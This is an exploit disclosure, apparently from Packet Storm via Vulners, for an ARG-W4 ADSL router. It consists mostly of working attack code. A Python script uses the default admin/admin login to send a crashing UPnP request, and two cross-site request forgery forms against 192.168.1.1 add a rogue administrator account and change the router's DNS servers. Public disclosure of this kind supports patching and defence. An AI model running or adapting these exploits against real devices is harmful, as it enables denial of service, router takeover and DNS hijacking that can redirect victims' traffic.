ARG-W4 ADSL Router Denial Of Service / Cross Site Request Forgery

🗓️ 11 Dec 2016 00:00:00Reported by Mojtaba MobhaMType

packetstorm🔗 packetstormsecurity.com👁 22 Views

ARG-W4 ADSL Router Denial Of Service and Cross Site Request Forgery vulnerabilitie

`# Exploit Title: ARG-W4 ADSL Router - Multiple Vulnerabilities  
# Date: 2016-12-11  
# Exploit Author: Persian Hack Team  
# Discovered by : Mojtaba MobhaM   
# Tested on: Windows AND Linux  
# Exploit Demo : http://persian-team.ir/showthread.php?tid=196  
  
1 - Denial of Service  
  
#!/usr/bin/python  
import urllib2  
import urllib  
  
site=raw_input("Enter Url : ")  
site=site+"/form2Upnp.cgi"  
username='admin'  
password='admin'  
p = urllib2.HTTPPasswordMgrWithDefaultRealm()  
p.add_password(None, site, username, password)  
handler = urllib2.HTTPBasicAuthHandler(p)  
opener = urllib2.build_opener(handler)  
urllib2.install_opener(opener)  
  
post = {'daemon':' ','ext_if':'pppoe+1','submit.htm?upnp.htm':'Send'}  
data = urllib.urlencode(post)  
try:  
html = urllib2.urlopen(site,data)  
print ("Done ! c_C")  
except:  
print ("Done ! c_C")  
  
2-1 Cross-Site Request Forgery (Add Admin)  
  
<html>  
<body>  
<form action="http://192.168.1.1/form2userconfig.cgi" method="POST">  
USER:<input type="text" name="username" value="mobham" />  
<input type="hidden" name="privilege" value="2" />  
PWD:<input type="text" name="newpass" value="mobham" />  
RPWD:<input type="texr" name="confpass" value="mobham" />  
<input type="hidden" name="adduser" value="Add" />  
<input type="hidden" name="hiddenpass" value="" />  
<input type="hidden" name="submit.htm?userconfig.htm" value="Send" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
2-2 Cross-Site Request Forgery (Change DNS)  
  
<html>  
<body>  
<form action="http://192.168.1.1/form2Dns.cgi" method="POST">  
<input type="hidden" name="dnsMode" value="1" />  
DNS<input type="text" name="dns1" value="2.2.2.2" />  
DNS 2<input type="text" name="dns2" value="1.1.1.1" />  
DNS 3<input type="text" name="dns3" value="" />  
<input type="hidden" name="submit.htm?dns.htm" value="Send" />  
<input type="hidden" name="save" value="Apply Changes" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
  
`

11 Dec 2016 00:00Current

0.2Low risk

Vulners AI Score0.2